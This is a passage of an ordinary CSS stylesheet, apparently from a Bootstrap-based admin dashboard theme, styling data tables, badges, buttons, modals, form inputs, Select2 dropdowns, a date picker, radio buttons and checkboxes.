background-clip: content-box; } .card .card-body .dataTables_wrapper .dataTables_scroll { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .dataTables_scroll .dataTable { margin-left: 0px; width: 100%; } .card .card-body .dataTables_wrapper .dataTable { margin-left: -20px; width: calc(100% + 40px); } .card .card-body .dataTables_wrapper .form-control { border: none; min-height: 30px; background-color: #f4f4f4; } .card .card-body .dataTables_wrapper select.form-control { height: 30px !important; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item .page-link { margin-left: 5px; min-width: 30px; height: 30px; padding: 0; text-align: center; line-height: 30px; border: none; background-color: #f4f4f4; color: #212121; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.previous .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.next .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.first .page-link, .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.last .page-link { padding: 0 15px; } .card .card-body .dataTables_wrapper .dataTables_paginate .pagination .page-item.disabled .page-link { color: #6c757d; background-color: #f4f4f4; cursor: not-allowed; } .card .card-table .card-item { border-top: 1px solid #ededed; } .table thead { background-color: #f6f8fb; } .table thead th { font-weight: 600; color: #879099; font-size: 14px; } .table tbody td { vertical-align: middle; } .table tbody td .table-user-thumb { width: 30px; height: 30px; border-radius: 50%; } .table tbody td .table-actions { text-align: right; } .table tbody td .table-actions a { color: #bcc1c6; display: inline-block; margin-left: 8px; font-size: 16px; } .badge { padding: 6px 10px; font-size: 12px; font-weight: 600; } .badge.badge-top-left { top: 7px; right: 10px; } .badge.badge-top-left-2 { top: 40px; right: 10px; } .badge-primary, .badge-success, .badge-info, .badge-warning, .badge-danger, .badge-inverse, .badge-purple, .badge-pink, .badge-twitter, .badge-facebook, .badge-linkedin, .badge-google, .badge-dribbble, .badge-instagram { color: #ffffff; } .badge-theme { background-color: #ef4153; } .badge-aqua { background-color: #3ec5d6; } .badge-blue { background-color: #19B5FE; } .badge-light-blue { background-color: #89CFF0; } .badge-teal { background-color: #008081; } .badge-yellow { background-color: #F7CA18; } .badge-orange { background-color: #FF8000; } .badge-green { background-color: #26C281; } .badge-lime { background-color: #cad900; } .badge-red { background-color: #F22613; } .badge-fuchsia { background-color: #df2de3; } .badge-navy { background-color: #000080; } .badge-empty { background: transparent; } .badge-primary { background-color: #007bff; } .badge-success { background-color: #2dce89; } .badge-info { background-color: #11cdef; } .badge-warning { background-color: #fb6340; } .badge-danger { background-color: #f5365c; } .badge-muted { background-color: #6c757d; } .badge-inverse { background-color: #4c5667; } .badge-purple { background-color: #BF55EC; } .badge-pink { background-color: #f76397; } .badge-white { background-color: #ffffff; } .btn .badge { padding: 2px 6px; } .pagination .page-item { padding: 5px; } .pagination .page-item .page-link { outline: initial !important; box-shadow: none !important; line-height: 18px; min-width: 30px; text-align: center; height: 30px; padding: 6px 0px; border: none; background-color: #eaeaea; color: #3e5569; border-radius: 30px; -webkit-border-radius: 30px; -moz-border-radius: 30px; } .pagination .page-item .page-link.first, .pagination .page-item .page-link.last { color: #ffffff; background-color: #3e5569; } .pagination .page-item.active .page-link { background-color: #007bff; color: #ffffff; } .btn { padding: 6px 14px; height: 30px; font-size: 13px; font-weight: 600; -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .btn i { margin-right: 5px; } .btn-icon { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 32px; font-size: 14px; display: inline-block; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .btn-icon i { margin-right: 0 !important; } .social-btn { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 30px; color: #ffffff; } .social-btn i { margin: 0; } .btn-primary, .btn-success, .btn-info, .btn-warning, .btn-danger, .btn-inverse, .btn-purple, .btn-pink, .btn-twitter, .btn-facebook, .btn-linkedin, .btn-google, .btn-dribbble, .btn-instagram { color: #ffffff; } .btn-theme { background: linear-gradient(150deg, #f05138 15%, #ee3a5b 70%, #ed1375 94%); color: #fff; } .btndefault { background-color: #dae6ec; border-color: #dae6ec; } .btndefault:focus, .btndefault:hover, .btndefault:active, .btndefault.active { background-color: #dae6ec; border-color: #C2CED4; color: #ffffff !important; } .btn-primary { background-color: #007bff; border: 1px solid #007bff; } .btn-primary:hover, .btn-primary:focus, .btn-primary.active { background-color: #006fe6; border: 1px solid #006fe6; color: #ffffff !important; } .btn-success { background-color: #2dce89; border: 1px solid #2dce89; } .btn-success:hover, .btn-success:focus, .btn-success.active { background-color: #28b97b; border: 1px solid #28b97b; color: #ffffff !important; } .btn-info { background-color: #11cdef; border: 1px solid #11cdef; } .btn-info:hover, .btn-info:focus, .btn-info.active { background-color: #0fb9d8; border: 1px solid #0fb9d8; color: #ffffff !important; } .btn-warning { background-color: #fb6340; border: 1px solid #fb6340; } .btn-warning:hover, .btn-warning:focus, .btn-warning.active { background-color: #fa4f27; border: 1px solid #fa4f27; color: #ffffff !important; } .btn-danger { background-color: #f5365c; border: 1px solid #f5365c; } .btn-danger:focus, .btn-danger:hover, .btn-danger.active { background-color: #f41e48; border: 1px solid #f41e48; color: #ffffff !important; } .btn-inverse { background-color: #4c5667; border: 1px solid #4c5667; } .btn-inverse:hover, .btn-inverse:focus, .btn-inverse.active { background-color: #414a58; border: 1px solid #414a58; color: #ffffff !important; } .btn-purple { background-color: #BF55EC; border: 1px solid #BF55EC; } .btn-purple:hover, .btn-purple:focus, .btn-purple.active { background-color: #b63ee9; border: 1px solid #b63ee9; color: #ffffff !important; } .btn-pink { background-color: #f76397; border: 1px solid #f76397; } .btn-pink:hover, .btn-pink:focus, .btn-pink.active { background-color: #f64b87; border: 1px solid #f64b87; color: #ffffff !important; } .btn-facebook { background: #3b579d; } .btn-twitter { background: #1da1f2; } .btn-dribbble { background: #ea4c89; } .btn-linkedin { background: #0177b4; } .btn-google { background: #dc4a38; } .btn-instagram { background: #fb3958; } .template-demo .btn { margin-right: 10px; margin-bottom: 10px; } .btn-group .btn { margin: 0; } .full-window-modal .modal-dialog { position: fixed; width: 100%; height: 100%; margin: 0; max-width: 100%; left: 0; top: 0; bottom: 0; display: block; } .full-window-modal .modal-dialog .modal-content { height: 100vh; border: none; border-radius: 0; -webkit-border-radius: 0; -moz-border-radius: 0; } .full-window-modal .modal-dialog .modal-content .modal-body { height: calc(100vh - 50px); overflow-x: auto; } .full-window-modal .modal-dialog .modal-content .modal-footer { background-color: #393a3d; padding: 15px 24px; padding-top: 15px !important; } .modal-open .apps-modal { overflow: hidden; } .modal-open .apps-modal .close { position: absolute; top: 20px; right: 20px; text-shadow: none; z-index: 9; } .modal-open .apps-modal .modal-dialog { width: 100%; max-width: 100%; border-radius: 0; margin: 0; } .modal-open .apps-modal .modal-dialog .modal-content { border: none; border-radius: 0; min-height: 100vh; background-color: #ffffff; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search { position: absolute; width: 100%; top: 17px; padding: 0 50px; z-index: 9; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap { position: relative; } .modal-open .apps-modal .modal-dialog .modal-content .quick-search .input-wrap i { position: absolute; right: 5px; top: 0; width: 30px; height: 35px; border-radius: 50%; line-height: 35px; text-align: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-flex-flow: row wrap; -moz-flex-flow: row wrap; -ms-flex-flow: row wrap; flex-flow: row wrap; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; width: 100%; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item { width: 130px; height: 100px; margin: 10px; color: #ccc; text-align: center; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a { display: inline-block; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a i { font-size: 40px; color: #3e5569; display: inline-block; margin-bottom: 10px; -moz-transition: all 0.3s ease 0s; -o-transition: all 0.3s ease 0s; -webkit-transition: all 0.3s ease 0s; transition: all 0.3s ease 0s; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item a span { display: block; font-size: 14px; color: #3e5569; } .modal-open .apps-modal .modal-dialog .modal-content .modal-body .apps-wrap .app-item:hover i { color: #ef4153; } .modal-open .apps-modal.fade .modal-dialog { overflow: hidden; -moz-transform: translate(0, 0) scale(1.2); -o-transform: translate(0, 0) scale(1.2); -ms-transform: translate(0, 0) scale(1.2); -webkit-transform: translate(0, 0) scale(1.2); transform: translate(0, 0) scale(1.2); } .modal-open .apps-modal.fade.show .modal-dialog { -moz-transform: translate(0, 0) scale(1); -o-transform: translate(0, 0) scale(1); -ms-transform: translate(0, 0) scale(1); -webkit-transform: translate(0, 0) scale(1); transform: translate(0, 0) scale(1); } .form-group { margin-bottom: 1.25em; } .form-group .form-control-lg { font-size: 1.25em; } .form-group .form-control-round { border-radius: 50px; } .form-group .form-control-static:focus { outline: none; } .form-control { height: auto; min-height: 35px; border: 1px solid #eaeaea; padding: 0 10px; background-color: #fff; font-size: 13px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .form-control.placeholder { color: #999999; } .form-control:-moz-placeholder { color: #999999; } .form-control::-moz-placeholder { color: #999999; } .form-control:-ms-input-placeholder { color: #999999; } .form-control::-webkit-input-placeholder { color: #999999; } .form-control:focus { border-color: #e2dfdf; -webkit-box-shadow: none; box-shadow: none; } .form-control.form-control-normal { font-weight: 400; } .form-control.form-control-bold { font-weight: 700; } .form-control.form-control-capitalize { text-transform: capitalize; } .form-control.form-control-uppercase { text-transform: uppercase; } .form-control.form-control-lowercase { text-transform: lowercase; } .form-control.form-control-variant { font-variant: small-caps; } .form-control.form-control-left { text-align: left; } .form-control.form-control-center { text-align: center; } .form-control.form-control-right { text-align: right; } .form-control.form-control-rtl { direction: rtl; } .form-control:disabled { cursor: not-allowed; opacity: 0.5; } select.form-control { -webkit-appearance: none; -moz-appearance: none; appearance: none; padding-right: 20px; background-image: url("../img/down-arrow.svg"); background-position: center right 15px; background-repeat: no-repeat; -webkit-background-size: 10px; background-size: 10px; height: 35px !important; } textarea.form-control { padding: 10px 15px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .custom-radio .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-label { line-height: 24px; } .custom-checkbox .custom-control-input:checked ~ .custom-control-label::after { background-image: none; content: "\e83f"; line-height: 16px; font-family: 'iconkit'; color: #fff; } .custom-control-label { text-align: center; } .input-group .input-group-prepend .input-group-text { border-top-left-radius: 4px; border-bottom-left-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-left: 15px; height: 35px; font-size: 14px; } .input-group .input-group-prepend .btn { height: 35px; border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .input-group .input-group-append .input-group-text { border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #eaeaea; border-color: #eaeaea; padding-right: 15px; height: 35px; font-size: 14px; } .input-group .input-group-append .btn { height: 35px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; } .form-group .file-upload-default { visibility: hidden; position: absolute; } .form-group .file-upload-info { background: transparent; } .select2.select2-container--default .select2-selection--single { border-color: #eaeaea; height: 35px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2.select2-container--default .select2-selection--single .select2-selection__rendered { line-height: 35px; padding-left: 15px; padding-right: 30px; } .select2.select2-container--default .select2-selection--single .select2-selection__arrow { height: 33px; right: 8px; } .select2.select2-container--default .select2-selection--multiple { border-color: #eaeaea; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered { margin-top: 1px; } .select2.select2-container--default .select2-selection--multiple .select2-selection__rendered .select2-selection__choice { border: none; padding: 1px 5px; } .select2.select2-container--default.select2-container--focus .select2-selection--multiple { border-color: #8e8e8e; } .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--single, .select2.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple { border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; } .select2.select2-container .select2-selection--multiple { min-height: 35px; } .select2-container--default .select2-dropdown { background-color: #ffffff; border: none; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .select2-container--default .select2-dropdown .select2-search--dropdown { padding: 5px; } .select2-container--default .select2-dropdown .select2-search--dropdown .select2-search__field { height: 30px; border: none; background-color: #eaeaea; padding: 5px 10px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .select2-container--default .select2-dropdown .select2-results .select2-results__options { padding: 5px; } .select2-results__option { background-color: #fff; padding: 8px 15px; border-radius: 4px; line-height: 14px; } .bootstrap-datetimepicker-widget .table thead { background-color: transparent; } .bootstrap-datetimepicker-widget .table thead tr th { color: #212121; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; } .bootstrap-datetimepicker-widget .table tr td, .bootstrap-datetimepicker-widget .table tr th { text-align: center; width: 35px; height: 35px; border-radius: 50%; border: none; line-height: 35px; position: relative; z-index: 1; } .bootstrap-datetimepicker-widget .table tr td.today, .bootstrap-datetimepicker-widget .table tr td.active { color: #ffffff; position: relative; z-index: 1; background-color: transparent; text-shadow: none; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before, .bootstrap-datetimepicker-widget .table tr td.active:before, .bootstrap-datetimepicker-widget .table tr td.active::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: #4a5361; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .table tr td.active:hover:before, .bootstrap-datetimepicker-widget .table tr td.active:hover::before { background-color: #4a5361 !important; } .bootstrap-datetimepicker-widget .table tr td.today:before, .bootstrap-datetimepicker-widget .table tr td.today::before { background-color: #ef4153; } .bootstrap-datetimepicker-widget .table tr td.day:hover, .bootstrap-datetimepicker-widget .table tr td.hour:hover, .bootstrap-datetimepicker-widget .table tr td.minute:hover, .bootstrap-datetimepicker-widget .table tr td.second:hover { background-color: transparent; } .bootstrap-datetimepicker-widget .table tr td:before, .bootstrap-datetimepicker-widget .table tr td::before { width: 30px; height: 30px; border-radius: 50%; border: none; background-color: transparent; position: absolute; z-index: -1; display: block; margin: auto; content: ''; top: 6px; left: 0px; right: 0px; bottom: auto; -moz-transform: scale(0); -o-transform: scale(0); -ms-transform: scale(0); -webkit-transform: scale(0); transform: scale(0); -moz-transition: 0.3s ease-in-out; -o-transition: 0.3s ease-in-out; -webkit-transition: 0.3s ease-in-out; transition: 0.3s ease-in-out; } .bootstrap-datetimepicker-widget .table tr td:hover:before, .bootstrap-datetimepicker-widget .table tr td:hover::before { background-color: #f4f4f4; -moz-transform: scale(1); -o-transform: scale(1); -ms-transform: scale(1); -webkit-transform: scale(1); transform: scale(1); } .bootstrap-datetimepicker-widget .timepicker table td { position: relative; z-index: 1; width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget .timepicker table td .btn { height: auto; } .bootstrap-datetimepicker-widget .timepicker table td span { width: 35px; height: 35px; line-height: 35px; } .bootstrap-datetimepicker-widget.dropdown-menu { min-width: 280px; } .bootstrap-datetimepicker-widget.dropdown-menu.bottom:before, .bootstrap-datetimepicker-widget.dropdown-menu.bottom::before { border-bottom-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu.top:before, .bootstrap-datetimepicker-widget.dropdown-menu.top::before { border-top-color: #fff; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr th, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td { width: 30px; height: 30px; line-height: 30px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td::before { top: 4px; left: 0px; } .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.today::before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active:before, .bootstrap-datetimepicker-widget.dropdown-menu .datepicker table tr td.active::before { top: 4px; left: 0px; } .bootstrap-tagsinput { display: block; border: 1px solid #eaeaea; min-height: 35px; padding: 0px 10px; padding-top: 4px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .bootstrap-tagsinput .tag { padding: 1px 5px; margin-right: 2px; margin-bottom: 4px; display: inline-block; text-transform: capitalize; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; background-color: #4c5667; } .note-editor.note-frame.card { -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .input-group { margin-bottom: 1.25em; } .form-control-primary { border-color: #007bff; color: #007bff; } .form-control-primary:focus { border-color: #007bff; } .input-group-primary .input-group-append .input-group-text, .input-group-primary .input-group-prepend .input-group-text { background-color: #007bff; border-color: #007bff; color: #ffffff; } .input-group-primary .form-control { border-color: #007bff; } .form-control-warning { border-color: #fb6340; color: #fb6340; } .form-control-warning:focus { border-color: #fb6340; } .input-group-warning .input-group-append .input-group-text, .input-group-warning .input-group-prepend .input-group-text { background-color: #fb6340; border-color: #fb6340; color: #ffffff; } .input-group-warning .form-control { border-color: #fb6340; } .form-control-default { border-color: #d6d6d6; color: #d6d6d6; } .form-control-default:focus { border-color: #d6d6d6; } .input-group-default .input-group-append .input-group-text, .input-group-default .input-group-prepend .input-group-text { background-color: #d6d6d6; border-color: #d6d6d6; color: #ffffff; } .input-group-default .form-control { border-color: #d6d6d6; } .form-control-danger { border-color: #f5365c; color: #f5365c; } .form-control-danger:focus { border-color: #f5365c; } .input-group-danger .input-group-append .input-group-text, .input-group-danger .input-group-prepend .input-group-text { background-color: #f5365c; border-color: #f5365c; color: #ffffff; } .input-group-danger .form-control { border-color: #f5365c; } .form-control-success { border-color: #2dce89; color: #2dce89; } .form-control-success:focus { border-color: #2dce89; } .input-group-success .input-group-append .input-group-text, .input-group-success .input-group-prepend .input-group-text { background-color: #2dce89; border-color: #2dce89; color: #ffffff; } .input-group-success .form-control { border-color: #2dce89; } .form-control-inverse { border-color: #4c5667; color: #4c5667; } .form-control-inverse:focus { border-color: #4c5667; } .input-group-inverse .input-group-append .input-group-text, .input-group-inverse .input-group-prepend .input-group-text { background-color: #4c5667; border-color: #4c5667; color: #ffffff; } .input-group-inverse .form-control { border-color: #4c5667; } .form-control-info { border-color: #11cdef; color: #11cdef; } .form-control-info:focus { border-color: #11cdef; } .input-group-info .input-group-append .input-group-text, .input-group-info .input-group-prepend .input-group-text { background-color: #11cdef; border-color: #11cdef; color: #ffffff; } .input-group-info .form-control { border-color: #11cdef; } .form-txt-primary { color: #007bff; } .form-txt-primary:focus { color: #007bff; } .form-txt-primary::-moz-placeholder { color: #007bff; opacity: 1; } .form-txt-primary:-ms-input-placeholder { color: #007bff; } .form-txt-primary::-webkit-input-placeholder { color: #007bff; } .form-txt-warning { color: #fb6340; } .form-txt-warning:focus { color: #fb6340; } .form-txt-warning::-moz-placeholder { color: #fb6340; opacity: 1; } .form-txt-warning:-ms-input-placeholder { color: #fb6340; } .form-txt-warning::-webkit-input-placeholder { color: #fb6340; } .form-txt-default { color: #d6d6d6; } .form-txt-default:focus { color: #d6d6d6; } .form-txt-default::-moz-placeholder { color: #d6d6d6; opacity: 1; } .form-txt-default:-ms-input-placeholder { color: #d6d6d6; } .form-txt-default::-webkit-input-placeholder { color: #d6d6d6; } .form-txt-danger { color: #f5365c; } .form-txt-danger:focus { color: #f5365c; } .form-txt-danger::-moz-placeholder { color: #f5365c; opacity: 1; } .form-txt-danger:-ms-input-placeholder { color: #f5365c; } .form-txt-danger::-webkit-input-placeholder { color: #f5365c; } .form-txt-success { color: #2dce89; } .form-txt-success:focus { color: #2dce89; } .form-txt-success::-moz-placeholder { color: #2dce89; opacity: 1; } .form-txt-success:-ms-input-placeholder { color: #2dce89; } .form-txt-success::-webkit-input-placeholder { color: #2dce89; } .form-txt-inverse { color: #4c5667; } .form-txt-inverse:focus { color: #4c5667; } .form-txt-inverse::-moz-placeholder { color: #4c5667; opacity: 1; } .form-txt-inverse:-ms-input-placeholder { color: #4c5667; } .form-txt-inverse::-webkit-input-placeholder { color: #4c5667; } .form-txt-info { color: #11cdef; } .form-txt-info:focus { color: #11cdef; } .form-txt-info::-moz-placeholder { color: #11cdef; opacity: 1; } .form-txt-info:-ms-input-placeholder { color: #11cdef; } .form-txt-info::-webkit-input-placeholder { color: #11cdef; } .form-bg-primary { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary:focus { background-color: #007bff; border-color: #007bff; color: #fff; } .form-bg-primary::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-primary:-ms-input-placeholder { color: #fff; } .form-bg-primary::-webkit-input-placeholder { color: #fff; } .form-bg-warning { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning:focus { background-color: #fb6340; border-color: #fb6340; color: #fff; } .form-bg-warning::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-warning:-ms-input-placeholder { color: #fff; } .form-bg-warning::-webkit-input-placeholder { color: #fff; } .form-bg-default { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default:focus { background-color: #d6d6d6; border-color: #d6d6d6; color: #fff; } .form-bg-default::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-default:-ms-input-placeholder { color: #fff; } .form-bg-default::-webkit-input-placeholder { color: #fff; } .form-bg-danger { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger:focus { background-color: #f5365c; border-color: #f5365c; color: #fff; } .form-bg-danger::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-danger:-ms-input-placeholder { color: #fff; } .form-bg-danger::-webkit-input-placeholder { color: #fff; } .form-bg-success { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success:focus { background-color: #2dce89; border-color: #2dce89; color: #fff; } .form-bg-success::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-success:-ms-input-placeholder { color: #fff; } .form-bg-success::-webkit-input-placeholder { color: #fff; } .form-bg-inverse { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse:focus { background-color: #4c5667; border-color: #4c5667; color: #fff; } .form-bg-inverse::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-inverse:-ms-input-placeholder { color: #fff; } .form-bg-inverse::-webkit-input-placeholder { color: #fff; } .form-bg-info { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info:focus { background-color: #11cdef; border-color: #11cdef; color: #fff; } .form-bg-info::-moz-placeholder { color: #fff; opacity: 1; } .form-bg-info:-ms-input-placeholder { color: #fff; } .form-bg-info::-webkit-input-placeholder { color: #fff; } .form-radio { position: relative; } .form-radio .form-help { position: absolute; width: 100%; } .form-radio label { position: relative; padding-left: 1.5rem; text-align: left; color: #333; display: block; line-height: 1.8; } .form-radio input { width: auto; opacity: 0.00000001; position: absolute; left: 0; } .radio .helper { position: absolute; top: -0.25rem; left: -0.25rem; cursor: pointer; display: block; font-size: 1rem; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; color: #999; } .radio .helper::after { transform: scale(0); background-color: #007bff; border-color: #007bff; } .radio .helper::after, .radio .helper::before { content: ''; position: absolute; left: 0; top: 3px; margin: 0.25rem; width: 1rem; height: 1rem; -webkit-transition: -webkit-transform 0.28s ease; transition: -webkit-transform 0.28s ease; transition: transform 0.28s ease, -webkit-transform 0.28s ease; border-radius: 50%; border: 0.125rem solid #007bff; } .radio label:hover .helper { color: #007bff; } .radio input:checked ~ .helper::after { transform: scale(0.5); } .radio input:checked ~ .helper::before { color: #007bff; animation: ripple 0.3s linear forwards; } .radio.radiofill input:checked ~ .helper::after { transform: scale(1); } .radio.radiofill .helper::after { background-color: #007bff; } .radio.radio-outline input:checked ~ .helper::after { transform: scale(0.6); } .radio.radio-outline .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-matrial input ~ .helper::after { background-color: #fff; } .radio.radio-matrial input:checked ~ .helper::after { transform: scale(0.5); box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72); } .radio.radio-matrial input:checked ~ .helper::before { background-color: #007bff; } .radio.radio-disable { opacity: 0.7; } .radio.radio-disable label { cursor: not-allowed; } .radio-inline { display: inline-block; margin-right: 20px; } .radio.radio-primary .helper::after { background-color: #007bff; border-color: #007bff; } .radio.radio-primary .helper::before { border-color: #007bff; } .radio.radio-outline.radio-primary .helper::after { background-color: #fff; border: 0.225rem solid #007bff; } .radio.radio-outline.radio-primary .helper::before { border-color: #007bff; } .radio.radio-matrial.radio-primary input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-primary input ~ .helper::before { background-color: #007bff; border-color: #007bff; } .radio.radio-warning .helper::after { background-color: #fb6340; border-color: #fb6340; } .radio.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-outline.radio-warning .helper::after { background-color: #fff; border: 0.225rem solid #fb6340; } .radio.radio-outline.radio-warning .helper::before { border-color: #fb6340; } .radio.radio-matrial.radio-warning input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-warning input ~ .helper::before { background-color: #fb6340; border-color: #fb6340; } .radio.radio-default .helper::after { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-outline.radio-default .helper::after { background-color: #fff; border: 0.225rem solid #d6d6d6; } .radio.radio-outline.radio-default .helper::before { border-color: #d6d6d6; } .radio.radio-matrial.radio-default input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-default input ~ .helper::before { background-color: #d6d6d6; border-color: #d6d6d6; } .radio.radio-danger .helper::after { background-color: #f5365c; border-color: #f5365c; } .radio.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-outline.radio-danger .helper::after { background-color: #fff; border: 0.225rem solid #f5365c; } .radio.radio-outline.radio-danger .helper::before { border-color: #f5365c; } .radio.radio-matrial.radio-danger input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-danger input ~ .helper::before { background-color: #f5365c; border-color: #f5365c; } .radio.radio-success .helper::after { background-color: #2dce89; border-color: #2dce89; } .radio.radio-success .helper::before { border-color: #2dce89; } .radio.radio-outline.radio-success .helper::after { background-color: #fff; border: 0.225rem solid #2dce89; } .radio.radio-outline.radio-success .helper::before { border-color: #2dce89; } .radio.radio-matrial.radio-success input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-success input ~ .helper::before { background-color: #2dce89; border-color: #2dce89; } .radio.radio-inverse .helper::after { background-color: #4c5667; border-color: #4c5667; } .radio.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-outline.radio-inverse .helper::after { background-color: #fff; border: 0.225rem solid #4c5667; } .radio.radio-outline.radio-inverse .helper::before { border-color: #4c5667; } .radio.radio-matrial.radio-inverse input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-inverse input ~ .helper::before { background-color: #4c5667; border-color: #4c5667; } .radio.radio-info .helper::after { background-color: #11cdef; border-color: #11cdef; } .radio.radio-info .helper::before { border-color: #11cdef; } .radio.radio-outline.radio-info .helper::after { background-color: #fff; border: 0.225rem solid #11cdef; } .radio.radio-outline.radio-info .helper::before { border-color: #11cdef; } .radio.radio-matrial.radio-info input ~ .helper::after { background-color: #fff; border-color: #fff; } .radio.radio-matrial.radio-info input ~ .helper::before { background-color: #11cdef; border-color: #11cdef; } @keyframes ripple { 0% { box-shadow: 0 0 0 1px rgba(0, 0, 0, 0); } 50% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05); } 100% { box-shadow: 0 0 0 10px rgba(0, 0, 0, 0); } } .border-checkbox-section .border-checkbox-group { display: inline-block; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:before { animation: ripple 0.3s linear forwards; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after { -webkit-animation: check linear 0.5s; animation: check linear 0.5s; opacity: 1; border-color: #007bff; } .border-checkbox-section .border-checkbox-group .border-checkbox:checked + .border-checkbox-label:after .border-checkbox-label:before { border-color: #eee; } .border-checkbox-section .border-checkbox-group .border-checkbox-label { position: relative; display: inline-block; cursor: pointer; height: 20px; line-height: 20px; padding-left: 30px; margin-right: 15px; } .border-checkbox-section .border-checkbox-group .border-checkbox-label:after { content: ""; display: block; width: 6px; height: 12px; opacity: 0.9; border-right: 2px solid #eee; border-top: 2px solid #eee; position: absolute; left: 4px; top: 11px; -webkit-transform: scaleX(-1) rotate(135deg); transform: scaleX(-1) rotate(135deg); -webkit-transform-origin: left top; transform-origin: left top; } 